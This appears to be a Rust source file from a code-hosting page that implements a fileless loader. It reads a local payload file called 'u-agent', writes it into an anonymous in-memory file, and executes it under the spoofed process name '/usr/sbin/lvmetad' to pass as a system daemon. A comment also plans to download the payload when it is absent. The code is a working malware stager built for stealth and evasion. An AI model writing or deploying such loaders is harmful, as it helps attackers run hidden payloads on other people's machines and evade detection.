You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
87 lines
1.9 KiB
87 lines
1.9 KiB
use nix::{ |
|
sys::memfd::{memfd_create, MemFdCreateFlag}, |
|
unistd::execv |
|
}; |
|
use libc::{ |
|
fdopen, |
|
fwrite, |
|
c_void, |
|
getpid |
|
}; |
|
use std::{ |
|
ffi::{CString, CStr}, |
|
fs::{File, read_dir}, |
|
io::Read |
|
}; |
|
|
|
fn get_uagent_data() -> Option<Vec<u8>> { |
|
// TODO: if not ls - then download |
|
let ls = read_dir("./").unwrap(); |
|
for dirfile in ls { |
|
let filename: std::path::PathBuf = dirfile.unwrap().path(); |
|
if filename.ends_with("u-agent") { |
|
let mut file = File::open(filename).unwrap(); |
|
let mut data: Vec<u8> = vec![]; |
|
file.read_to_end(&mut data).unwrap(); |
|
return Some(data) |
|
} |
|
} |
|
None |
|
} |
|
|
|
fn get_proc_name() -> CString { |
|
CString::new("/usr/sbin/lvmetad").unwrap() |
|
} |
|
|
|
fn create_memfd() -> i32 { |
|
let name = get_proc_name(); |
|
let fd = memfd_create( |
|
&name, |
|
MemFdCreateFlag::empty() |
|
).unwrap(); |
|
assert!(fd > 0); |
|
fd |
|
} |
|
|
|
fn main() { |
|
let agent_data: Vec<u8> = { |
|
let mut data; |
|
loop { |
|
data = get_uagent_data(); |
|
if data.is_some() { |
|
break; |
|
} |
|
} |
|
data.unwrap() |
|
}; |
|
let ad_len = agent_data.len(); |
|
let fd = create_memfd(); |
|
let file = unsafe { |
|
let res = fdopen(fd, |
|
CStr::from_bytes_with_nul(b"w\0") |
|
.unwrap().as_ptr() |
|
); |
|
if res.is_null() { |
|
panic!("WTF!"); |
|
} |
|
res |
|
}; |
|
let res_len = unsafe { |
|
fwrite( |
|
agent_data.as_ptr() as *const c_void, |
|
1, ad_len, file |
|
) |
|
}; |
|
if res_len != ad_len { |
|
panic!("write wasn't successful: {}, need {}", |
|
res_len, ad_len); |
|
} |
|
let exec_path: String = format!("/proc/{}/fd/{}", |
|
unsafe { getpid() }, fd); |
|
let proc_name = get_proc_name(); |
|
let args = [proc_name.as_c_str()]; |
|
execv( |
|
&CString::new(exec_path).unwrap(), |
|
&args |
|
).unwrap(); |
|
}
|
|
|